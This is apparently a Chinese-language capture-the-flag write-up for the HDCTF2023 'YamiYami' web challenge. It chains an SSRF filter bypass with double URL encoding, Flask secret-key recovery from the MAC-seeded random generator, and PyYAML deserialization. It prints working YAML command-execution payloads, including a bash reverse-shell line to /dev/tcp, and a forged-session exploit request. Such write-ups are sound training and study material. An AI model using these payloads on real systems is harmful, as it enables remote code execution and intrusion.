进入页面

点击pwd显示app,查看响应头为python


点击read发现存在ssrf,输入file:///flag发现被过滤


猜测是urlopen二次url编码绕过过滤
file:///%2561%2570%2570%252F%2561%2570%2570%252E%2570%2579------>经过request.get获取后解码一次变成file:///%61%70%70%2F%61%70%70%2E%70%79,通过waf--------->传入urlopen自动解码变成file:///app/app.py实现ssrf得到源码
# encoding:utf-8 import os import requests import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random() * 233) app.debug = False BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"] app.config['UPLOAD_FOLDER'] = "/app/uploads" @app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport") == "Welcome To HDCTF2023": LoadedFile = request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__ == '__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
得到加密jwt的key,代码通过uuid.getnode()得到设备的mac地址,可以读取file:///sys/class/net/eth0/address得到mac地址
random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random() * 233)

import random random.seed(0x0242ac023622) print(str(random.random() * 233))
访问/boogipop路由时执行yaml.full_load(f)存在yaml的反序列化
yaml的反序列化:
在python的yaml模块中的load函数会将得到的yaml格式数据转换成python的对象方法,内置的转换标签有
- !!python/object 加载对象
- !!python/object/new 加载对象
- !!python/object/apply 加载对象
- !!python/module 加载文件
- !!python/name 返回类下面的方法或属性
!!python/object执行对象方法
import yaml poc = '!!python/object/apply:os.system ["calc.exe"]' #给出一些相同用法的POC #poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]' #poc = '!!python/object/apply:os.popen ["calc.exe"]' #poc = '!!python/object/new:os.system ["calc.exe"]' #poc= """ !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list """#反弹shell yaml.load(poc)
利用!!python/module进行而已文件运行,配合文件上传使用
import yaml yaml.load('!!python/module:uploads.eval')
!!python/name 绕过检查
import yaml KEY = 'Evi1s7' def check(miyao): try: key = yaml.load(miyao).get("key",None) except Exception: key = None if key == KEY: print("你好Evi1s7") else: print("陌生人") miyao = '' check(miyao) #?key=!!python/name:__main__.KEY
伪造好jwt后进行文件上传,在/boogipop路由传入上传反弹shell的文件名,执行反弹shell


GET /boogipop?file=uploads/b.txt HTTP/1.1 Host: node4.anna.nssctf.cn:28715 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1722154117,1722185706,1722265250,1722328261; BD_UPN=13314752; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1722335474; HMACCOUNT=F3D54D54CA499338; session=eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZqjB7Q.dmIlP1tkPVYA1urV4EejWiuuD2A Upgrade-Insecure-Requests: 1 Priority: u=0, i
获取flag
参考文章
Comments NOTHING